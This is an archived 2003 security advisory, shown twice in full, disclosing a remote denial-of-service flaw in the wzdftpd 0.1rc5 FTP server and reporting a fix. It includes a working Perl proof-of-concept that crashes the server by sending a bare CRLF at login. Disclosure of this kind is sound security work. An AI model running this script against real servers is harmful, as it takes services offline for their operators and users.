Moozatech: WZFTPD Denial Of Service

["Moran Zavdi" <Security@xxxxxxxxxxxxx>]

23/09/03

Moozatech Advisory              http://www.moozatech.com/mt-23-09-2003.txt

-------------------------------------------------------

Application: wzdftpd FTP Server
Web Site:    http://www.wzdftpd.net
Versions:    0.1rc5
Platform:    Windows 2000,WindowsXP,UNIX systems might also be affected.
Risk:        Remote DOS.
Severity:    Medium
Fix Available: Yes
-------------------------------------------------------

1) Introduction
2) Bug
3) The Code
4) Fix
5) About Moozatech
6) Disclaimer
7) FeedBack

===============
1) Introduction
===============

wzdftpd is a ftp server designed to be modular, work under
linux/win32/freebsd/openbsd,
and to be entirely configurable online using SITE commands.


======
2) Bug
======

wzdftpd has an internal check during the login process to verify the input.
however, sending a single CRLF sequence at login will cause an
Unhandled exception at the server.


====================
3) Proof of concept.
====================

#!/usr/bin/perl
#
#   ####################################
#   #     Proof of concept for         #
#   # WZDFTPD FTP Server version 0.1rc5 #
#   ####################################
#
# http://www.moozatech.com/mt-23-09-2003.txt
#
# Usage: perl mooza1.pl [host] [port]
use IO::Socket;

$host = $ARGV[0];
$port = $ARGV[1];
print "\n#####################################\n\n";
print "Proof-Of-Concept for wzdftpd v0.1rc5.\n";
print "this code is for demonstration only.\n";
print "Use it under your own responsebility.\n";
print "\n#####################################\n\n";

if (defined $host && defined $port ) {
} else {
  print "Oops, Something is missing.\n";
  die "Usage: perl mooza1.pl [host] [port]\n";
}

print "Connecting to $host:$port... ";

$socket = IO::Socket::INET->new(PeerAddr => $host, PeerPort => $port,
 Proto => "tcp", Type=> SOCK_STREAM) or die "Failed, Cant connect?\n";
print "OK\n";
sleep 1;
print "Sending Dos..\n";
sleep 2;
print $socket "\r\n";
$socket->autoflush(1);

sleep 2;
print "we are done here..\n\n";
close($socket);




======
4) Fix
======

the author has confirmed this bug as critical and issued a fix at the CVS
version and
its also availble on the daily version.


==================
5) About Moozatech
==================

Moozatech IT Systems Ltd. (“Moozatech”) is a leading information security
consulting
and project management firm focused on developing
"Secure IT Solutions" which best suit the client's operational needs.
Moozatech devotes time to make a secure computing environment for customers.


=============
6) Disclaimer
=============

The information within this paper may change without notice. Use of this
information constitutes acceptance for use in an AS IS condition. There are
NO warranties with regard to this information. In no event shall the author
be liable for any damages whatsoever arising out of or in connection with
the use or spread of this information. Any use of this information is at the
user's own risk.

=============
7) FeedBack
=============

Please send suggestions, updates, and comments to:

Security@xxxxxxxxxxxxx
http://www.moozatech.com



-----

Moran Zavdi
Moozatech IT Systems
www.moozatech.com

23/09/03

Moozatech Advisory              http://www.moozatech.com/mt-23-09-2003.txt      
        

-------------------------------------------------------

Application: wzdftpd FTP Server 
Web Site:    http://www.wzdftpd.net
Versions:    0.1rc5
Platform:    Windows 2000,WindowsXP,UNIX systems might also be affected.
Risk:        Remote DOS.
Severity:    Medium
Fix Available: Yes
-------------------------------------------------------

1) Introduction
2) Bug
3) The Code
4) Fix
5) About Moozatech
6) Disclaimer
7) FeedBack

===============
1) Introduction
===============

wzdftpd is a ftp server designed to be modular, work under 
linux/win32/freebsd/openbsd, 
and to be entirely configurable online using SITE commands.


======
2) Bug
======

wzdftpd has an internal check during the login process to verify the input.
however, sending a single CRLF sequence at login will cause an 
Unhandled exception at the server. 


====================
3) Proof of concept.
====================

#!/usr/bin/perl
# 
#   ####################################
#   #     Proof of concept for         #
#   # WZDFTPD FTP Server version 0.1rc5 # 
#   ####################################
#
# http://www.moozatech.com/mt-23-09-2003.txt
#
# Usage: perl mooza1.pl [host] [port]
use IO::Socket;

$host = $ARGV[0];
$port = $ARGV[1];
print "\n#####################################\n\n";
print "Proof-Of-Concept for wzdftpd v0.1rc5.\n";
print "this code is for demonstration only.\n";
print "Use it under your own responsebility.\n";
print "\n#####################################\n\n";

if (defined $host && defined $port ) {
} else {
  print "Oops, Something is missing.\n";
  die "Usage: perl mooza1.pl [host] [port]\n";
}

print "Connecting to $host:$port... ";

$socket = IO::Socket::INET->new(PeerAddr => $host, PeerPort => $port,
 Proto => "tcp", Type=> SOCK_STREAM) or die "Failed, Cant connect?\n";
print "OK\n";
sleep 1;
print "Sending Dos..\n";
sleep 2;
print $socket "\r\n";
$socket->autoflush(1);

sleep 2;
print "we are done here..\n\n";
close($socket);




======
4) Fix
======

the author has confirmed this bug as critical and issued a fix at the CVS 
version and
its also availble on the daily version.


==================
5) About Moozatech
==================

Moozatech IT Systems Ltd. (?Moozatech?) is a leading information security 
consulting 
and project management firm focused on developing 
"Secure IT Solutions" which best suit the client's operational needs. 
Moozatech devotes time to make a secure computing environment for customers.


=============
6) Disclaimer
=============

The information within this paper may change without notice. Use of this
information constitutes acceptance for use in an AS IS condition. There are
NO warranties with regard to this information. In no event shall the author
be liable for any damages whatsoever arising out of or in connection with
the use or spread of this information. Any use of this information is at the
user's own risk.

=============
7) FeedBack
=============

Please send suggestions, updates, and comments to:

Security@xxxxxxxxxxxxx
http://www.moozatech.com